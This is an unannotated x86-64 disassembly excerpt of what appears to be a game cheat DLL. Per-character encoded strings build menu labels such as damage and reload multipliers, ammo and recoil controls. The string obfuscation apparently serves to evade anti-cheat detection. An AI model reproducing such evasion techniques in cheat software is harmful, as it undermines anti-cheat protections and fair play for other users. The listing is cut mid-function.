mov byte [rbp + 0x107d], dil
mov byte [rbp + 0x107e], bl
mov byte [rbp + 0x107f], al
lea rcx, [rbp + 0x2418]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x10000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recv
mov edx, ebx
lea rcx, [rbp + 0x2418]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1070]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.1800569d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2418]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d7350
lea rcx, [rbp + 0x2418]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e489c]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2418]
call fcn.180011f20
movaps xmm0, xmm10
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xfb0], xmm0
mov dword [rbp + 0xfc0], eax
mov cl, 0x20
call fcn.180014850
mov byte [rsp + 0x50], al
mov cl, 0x44
call fcn.180014850
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180014850
mov byte [rsp + 0x52], al
mov cl, 0x6d
call fcn.180014850
mov byte [rsp + 0x53], al
mov cl, 0x6d
call fcn.180014850
mov byte [rsp + 0x54], al
mov cl, 0x61
call fcn.180014850
mov byte [rsp + 0x55], al
mov cl, 0x67
call fcn.180014850
mov byte [rsp + 0x56], al
mov cl, 0x65
call fcn.180014850
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.180014850
mov byte [rsp + 0x58], al
mov cl, 0x4d
call fcn.180014850
mov byte [rsp + 0x59], al
mov cl, 0x75
call fcn.180014850
mov byte [rsp + 0x5a], al
mov cl, 0x6c
call fcn.180014850
mov byte [rsp + 0x60], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014850
movzx r13d, al
mov cl, 0x69
call fcn.180014850
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014850
movzx r15d, al
mov cl, 0x6c
call fcn.180014850
movzx r14d, al
mov cl, 0x69
call fcn.180014850
movzx esi, al
mov cl, 0x65
call fcn.180014850
movzx edi, al
mov cl, WSAStartup
call fcn.180014850
movzx ebx, al
xor ecx, ecx
call fcn.180014850
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xfb0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xfb1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xfb2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xfb3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xfb4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xfb5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xfb6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xfb7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xfb8], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xfb9], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xfba], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xfbb], cl
mov byte [rbp + 0xfbc], r13b
mov byte [rbp + 0xfbd], r12b
mov byte [rbp + 0xfbe], r15b
mov byte [rbp + 0xfbf], r14b
mov byte [rbp + 0xfc0], sil
mov byte [rbp + 0xfc1], dil
mov byte [rbp + 0xfc2], bl
mov byte [rbp + 0xfc3], al
lea rcx, [rbp + 0x2438]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20000
xor r8d, r8d
mov edi, reloc.WS2_32.dll_sendto
mov edx, edi
lea rcx, [rbp + 0x2438]
call fcn.180014330
xor esi, esi
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xfb0]
call fcn.180014860
movzx ecx, byte [rax]
call fcn.180014850
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2438]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d7590
lea rcx, [rbp + 0x2438]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e489d]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2438]
call fcn.180011f20
movaps xmm0, xmm10
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc50], xmm0
mov word [rbp + 0xc60], ax
mov byte [rbp + 0xc62], al
mov cl, 0x20
call fcn.180056a20
mov byte [rsp + 0x50], al
mov cl, 0x52
call fcn.180056a20
mov byte [rsp + 0x51], al
mov cl, 0x65
call fcn.180056a20
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.180056a20
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a20
mov byte [rsp + 0x54], al
mov cl, 0x61
call fcn.180056a20
mov byte [rsp + 0x55], al
mov cl, 0x64
call fcn.180056a20
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.180056a20
mov byte [rsp + 0x57], al
mov cl, 0x4d
call fcn.180056a20
mov byte [rsp + 0x58], al
mov cl, 0x75
call fcn.180056a20
mov byte [rsp + 0x59], al
mov cl, 0x6c
call fcn.180056a20
mov byte [rsp + 0x5a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a20
movzx r13d, al
mov cl, 0x69
call fcn.180056a20
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056a20
movzx r15d, al
mov cl, 0x6c
call fcn.180056a20
movzx r14d, al
mov cl, 0x69
call fcn.180056a20
movzx esi, al
mov cl, 0x65
call fcn.180056a20
movzx edi, al
mov cl, WSAStartup
call fcn.180056a20
movzx ebx, al
xor ecx, ecx
call fcn.180056a20
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xc50], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xc51], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xc52], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xc53], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xc54], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xc55], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xc56], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xc57], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xc58], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xc59], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xc5a], cl
mov byte [rbp + 0xc5b], r13b
mov byte [rbp + 0xc5c], r12b
mov byte [rbp + 0xc5d], r15b
mov byte [rbp + 0xc5e], r14b
mov byte [rbp + 0xc5f], sil
mov byte [rbp + 0xc60], dil
mov byte [rbp + 0xc61], bl
mov byte [rbp + 0xc62], al
lea rcx, [rbp + 0x2458]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x40000
xor r8d, r8d
mov edi, reloc.WS2_32.dll_send
mov edx, edi
lea rcx, [rbp + 0x2458]
call fcn.180014330
xor esi, esi
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xc50]
call fcn.180014820
movzx ecx, byte [rax]
call fcn.180056a20
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2458]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d77c0
lea rcx, [rbp + 0x2458]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e489e]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2458]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm8
call fcn.180076bd0
movss xmm1, dword [0x1801ce5d0]
lea ecx, [rdi + 0xd]
call fcn.1800696e0
lea rcx, [rbp + 0x4478]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm13
movaps xmm2, xmm8
lea rcx, [rbp + 0x4480]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x400], rax
mov byte [rbp + 0x408], al
mov cl, 0x53
call fcn.1800568c0
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.1800568c0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800568c0
movzx r12d, al
mov cl, 0x20
call fcn.1800568c0
movzx r15d, al
mov cl, 0x41
call fcn.1800568c0
movzx r14d, al
mov cl, 0x6d
call fcn.1800568c0
movzx esi, al
mov cl, 0x6d
call fcn.1800568c0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568c0
movzx ebx, al
xor ecx, ecx
call fcn.1800568c0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x400], cl
mov byte [rbp + 0x401], r13b
mov byte [rbp + 0x402], r12b
mov byte [rbp + 0x403], r15b
mov byte [rbp + 0x404], r14b
mov byte [rbp + 0x405], sil
mov byte [rbp + 0x406], dil
mov byte [rbp + 0x407], bl
mov byte [rbp + 0x408], al
lea rcx, [rbp + 0x2478]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x2478]
call fcn.180014330
xor edi, edi
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x400]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.1800568c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2478]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d7951
lea rcx, [rbp + 0x2478]
call fcn.1800143e0
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x2478]
call fcn.180011f20
test bl, bl
je 0x1800d79c9
lea rcx, [0x1805e5ba0]
call fcn.1800669b0
movss xmm0, dword [0x1801f705c]
call fcn.1800edf20
movss xmm10, dword [0x1801ce8d8]
movaps xmm1, xmm10
movaps xmm0, xmm15
call fcn.180076ad0
lea rcx, [rbp + 0x4488]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm8
lea rcx, [rbp + 0x4490]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0xab0], rax
mov dword [rbp + 0xab8], eax
mov cl, 0x52
call fcn.1800568a0
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.1800568a0
mov byte [rsp + 0x51], al
mov cl, 0x6d
call fcn.1800568a0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568a0
mov byte [rsp + 0x53], al
mov cl, 0x76
call fcn.1800568a0
movzx r13d, al
mov cl, 0x65
call fcn.1800568a0
movzx r12d, al
mov cl, 0x20
call fcn.1800568a0
movzx r15d, al
mov cl, 0x41
call fcn.1800568a0
movzx r14d, al
mov cl, 0x6d
call fcn.1800568a0
movzx esi, al
mov cl, 0x6d
call fcn.1800568a0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568a0
movzx ebx, al
xor ecx, ecx
call fcn.1800568a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xab0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xab1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xab2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xab3], cl
mov byte [rbp + 0xab4], r13b
mov byte [rbp + 0xab5], r12b
mov byte [rbp + 0xab6], r15b
mov byte [rbp + 0xab7], r14b
mov byte [rbp + 0xab8], sil
mov byte [rbp + 0xab9], dil
mov byte [rbp + 0xaba], bl
mov byte [rbp + 0xabb], al
lea rcx, [rbp + 0x2498]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x100000
xor r8d, r8d
mov edi, recv
mov edx, edi
lea rcx, [rbp + 0x2498]
call fcn.180014330
xor esi, esi
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xab0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800568a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2498]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d7b30
lea rcx, [rbp + 0x2498]
call fcn.1800143e0
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x2498]
call fcn.180011f20
test bl, bl
je 0x1800d7ba8
lea rcx, [0x1805e5ba0]
call fcn.1800669b0
movss xmm0, dword [0x1801f705c]
call fcn.1800edf80
mov ecx, 1
call fcn.1800697c0
call fcn.180075800
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180070430
movaps xmm0, xmm8
call fcn.180076c20
lea rcx, [rbp + 0x40a8]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm13
call fcn.180076bd0
lea rcx, [rbp + 0x4498]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
subss xmm6, xmm13
lea rcx, [rbp + 0x44a0]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x44a8]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x4f0], rax
mov dword [rbp + 0x4f8], eax
mov word [rbp + 0x4fc], ax
mov byte [rbp + 0x4fe], al
mov cl, 0x23
call fcn.1800569a0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800569a0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800569a0
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.1800569a0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800569a0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800569a0
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.1800569a0
mov byte [rsp + 0x56], al
mov cl, WSAGetLastError
call fcn.1800569a0
movzx r13d, al
mov cl, 0x67
call fcn.1800569a0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800569a0
movzx r15d, al
mov cl, 0x5f
call fcn.1800569a0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800569a0
movzx esi, al
mov cl, 0x61
call fcn.1800569a0
movzx edi, al
mov cl, 0x62
call fcn.1800569a0
movzx ebx, al
xor ecx, ecx
call fcn.1800569a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x4f0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x4f1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x4f2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x4f3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x4f4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x4f5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x4f6], cl
mov byte [rbp + 0x4f7], r13b
mov byte [rbp + 0x4f8], r12b
mov byte [rbp + 0x4f9], r15b
mov byte [rbp + 0x4fa], r14b
mov byte [rbp + 0x4fb], sil
mov byte [rbp + 0x4fc], dil
mov byte [rbp + 0x4fd], bl
mov byte [rbp + 0x4fe], al
lea rcx, [rbp + 0x24b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x2000000
xor r8d, r8d
mov edi, reloc.WS2_32.dll_ntohs
mov edx, edi
lea rcx, [rbp + 0x24b8]
call fcn.180014330
xor esi, esi
nop dword [rax]
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x4f0]
call fcn.180014a80
movzx ecx, byte [rax]
call fcn.1800569a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x24b8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d7db0
lea rcx, [rbp + 0x24b8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x24b8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x540], rax
mov byte [rbp + 0x548], al
mov cl, 0x53
call fcn.180014950
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180014950
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014950
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014950
movzx r15d, al
mov cl, 0x69
call fcn.180014950
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180014950
movzx esi, al
mov cl, 0x67
call fcn.180014950
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014950
movzx ebx, al
xor ecx, ecx
call fcn.180014950
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x540], cl
mov byte [rbp + 0x541], r13b
mov byte [rbp + 0x542], r12b
mov byte [rbp + 0x543], r15b
mov byte [rbp + 0x544], r14b
mov byte [rbp + 0x545], sil
mov byte [rbp + 0x546], dil
mov byte [rbp + 0x547], bl
mov byte [rbp + 0x548], al
lea rcx, [rbp + 0x24d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x1000000
xor r8d, r8d
mov esi, 9
mov edx, esi
lea rcx, [rbp + 0x24d8]
call fcn.180014330
xor edi, edi
mov r14d, edi
nop word [rax + rax]
mov rdx, r14
lea rcx, [rbp + 0x540]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180014950
movzx ebx, al
mov rdx, r14
lea rcx, [rbp + 0x24d8]
call fcn.180014c80
mov byte [rax], bl
inc r14
sub rsi, 1
jne 0x1800d7ef0
lea rcx, [rbp + 0x24d8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x24d8]
call fcn.180011f20
movss xmm8, dword [0x1801ce7dc]
movaps xmm0, xmm8
call fcn.180076c20
lea rcx, [rbp + 0x44b0]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp + 0xdc], ax
mov cl, 0x78
call fcn.180056ac0
mov byte [rsp + 0x5c], al
xor ecx, ecx
call fcn.180056ac0
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0x5c]
mov word [rbp + 0xdc], ax
lea rcx, [rbp + 0x2518]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x800000
xor r8d, r8d
lea edx, [rsi + 2]
lea rcx, [rbp + 0x2518]
call fcn.180014330
mov esi, 2
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xdc]
call fcn.180056ef0
movzx ecx, byte [rax]
call fcn.180056ac0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2518]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d7fd0
lea rcx, [rbp + 0x2518]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf48], xmm0
mov word [rbp + 0xf58], ax
mov cl, 0x44
call fcn.180056b20
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.180056b20
mov byte [rsp + 0x51], al
mov cl, 0x6d
call fcn.180056b20
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.180056b20
mov byte [rsp + 0x53], al
mov cl, 0x67
call fcn.180056b20
mov byte [rsp + 0x54], al
mov cl, 0x65
call fcn.180056b20
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.180056b20
mov byte [rsp + 0x56], al
mov cl, 0x4d
call fcn.180056b20
mov byte [rsp + 0x57], al
mov cl, 0x75
call fcn.180056b20
mov byte [rsp + 0x58], al
mov cl, 0x6c
call fcn.180056b20
mov byte [rsp + 0x59], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b20
movzx r13d, al
mov cl, 0x69
call fcn.180056b20
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056b20
movzx r15d, al
mov cl, 0x6c
call fcn.180056b20
movzx r14d, al
mov cl, 0x69
call fcn.180056b20
movzx esi, al
mov cl, 0x65
call fcn.180056b20
movzx edi, al
mov cl, WSAStartup
call fcn.180056b20
movzx ebx, al
xor ecx, ecx
call fcn.180056b20
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xf48], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xf49], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xf4a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xf4b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xf4c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xf4d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xf4e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xf4f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xf50], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xf51], cl
mov byte [rbp + 0xf52], r13b
mov byte [rbp + 0xf53], r12b
mov byte [rbp + 0xf54], r15b
mov byte [rbp + 0xf55], r14b
mov byte [rbp + 0xf56], sil
mov byte [rbp + 0xf57], dil
mov byte [rbp + 0xf58], bl
mov byte [rbp + 0xf59], al
lea rcx, [rbp + 0x24f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0xc00000
xor r8d, r8d
mov r14d, reloc.WS2_32.dll_select
mov edx, r14d
lea rcx, [rbp + 0x24f8]
call fcn.180014330
xor edi, edi
mov esi, edi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xf48]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.180056b20
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x24f8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d81c0
lea rcx, [rbp + 0x24f8]
call fcn.1800143e0
mov byte [rsp + 0x28], dil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm11
movss xmm6, dword [0x1801ce5d0]
movaps xmm2, xmm6
lea rdx, [0x1805ddd2c]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x24f8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2518]
call fcn.180011f20
call fcn.180076ba0
movss xmm11, dword [0x1801ce7a0]
addss xmm0, xmm11
call fcn.180076c20
lea rcx, [rbp + 0x44b8]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp + 0xe0], ax
mov cl, 0x78
call fcn.180014900
mov byte [rsp + 0x5c], al
xor ecx, ecx
call fcn.180014900
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0x5c]
mov word [rbp + 0xe0], ax
lea rcx, [rbp + 0x2558]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x200000
xor r8d, r8d
lea edx, [r14 + 2]
lea rcx, [rbp + 0x2558]
call fcn.180014330
lea esi, [r14 + 2]
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.180056ef0
movzx ecx, byte [rax]
call fcn.180014900
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2558]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d82e0
lea rcx, [rbp + 0x2558]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xee8], xmm0
mov word [rbp + 0xef8], ax
mov cl, 0x52
call fcn.1800568a0
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.1800568a0
mov byte [rsp + 0x51], al
mov cl, 0x6c
call fcn.1800568a0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568a0
mov byte [rsp + 0x53], al
mov cl, 0x61
call fcn.1800568a0
mov byte [rsp + 0x54], al
mov cl, 0x64
call fcn.1800568a0
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.1800568a0
mov byte [rsp + 0x56], al
mov cl, 0x4d
call fcn.1800568a0
mov byte [rsp + 0x57], al
mov cl, 0x75
call fcn.1800568a0
mov byte [rsp + 0x58], al
mov cl, 0x6c
call fcn.1800568a0
mov byte [rsp + 0x59], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800568a0
movzx r13d, al
mov cl, 0x69
call fcn.1800568a0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800568a0
movzx r15d, al
mov cl, 0x6c
call fcn.1800568a0
movzx r14d, al
mov cl, 0x69
call fcn.1800568a0
movzx esi, al
mov cl, 0x65
call fcn.1800568a0
movzx edi, al
mov cl, WSAStartup
call fcn.1800568a0
movzx ebx, al
xor ecx, ecx
call fcn.1800568a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xee8], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xee9], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xeea], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xeeb], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xeec], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xeed], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xeee], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xeef], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xef0], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xef1], cl
mov byte [rbp + 0xef2], r13b
mov byte [rbp + 0xef3], r12b
mov byte [rbp + 0xef4], r15b
mov byte [rbp + 0xef5], r14b
mov byte [rbp + 0xef6], sil
mov byte [rbp + 0xef7], dil
mov byte [rbp + 0xef8], bl
mov byte [rbp + 0xef9], al
lea rcx, [rbp + 0x2538]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x300000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_select
mov edx, ebx
lea rcx, [rbp + 0x2538]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xee8]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.1800568a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2538]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d84d0
lea rcx, [rbp + 0x2538]
call fcn.1800143e0
mov byte [rsp + 0x28], dil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm7
movaps xmm2, xmm6
lea rdx, [0x1805ddd30]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2538]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2558]
call fcn.180011f20
call fcn.180076ba0
addss xmm0, xmm11
call fcn.180076c20
lea rcx, [rbp + 0x44c0]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp + 0xe4], ax
mov cl, 0x78
call fcn.180014780
mov byte [rsp + 0x5c], al
xor ecx, ecx
call fcn.180014780
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0x5c]
mov word [rbp + 0xe4], ax
lea rcx, [rbp + 0x2598]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80000
xor r8d, r8d
lea edx, [r14 + 2]
lea rcx, [rbp + 0x2598]
call fcn.180014330
lea esi, [r14 + 2]
mov rdx, rdi
lea rcx, [rbp + 0xe4]
call fcn.180056ef0
movzx ecx, byte [rax]
call fcn.180014780
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2598]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d85d0
lea rcx, [rbp + 0x2598]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x580], rax
mov dword [rbp + 0x588], eax
mov byte [rbp + 0x58c], al
mov cl, 0x52
call fcn.180056820
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180056820
mov byte [rsp + 0x51], al
mov cl, 0x63
call fcn.180056820
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056820
mov byte [rsp + 0x53], al
mov cl, 0x69
call fcn.180056820
mov byte [rsp + 0x54], al
mov cl, 0x6c
call fcn.180056820
movzx r13d, al
mov cl, 0x20
call fcn.180056820
movzx r12d, al
mov cl, 0x56
call fcn.180056820
movzx r15d, al
mov cl, 0x61
call fcn.180056820
movzx r14d, al
mov cl, 0x6c
call fcn.180056820
movzx esi, al
mov cl, 0x75
call fcn.180056820
movzx edi, al
mov cl, 0x65
call fcn.180056820
movzx ebx, al
xor ecx, ecx
call fcn.180056820
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x580], cl
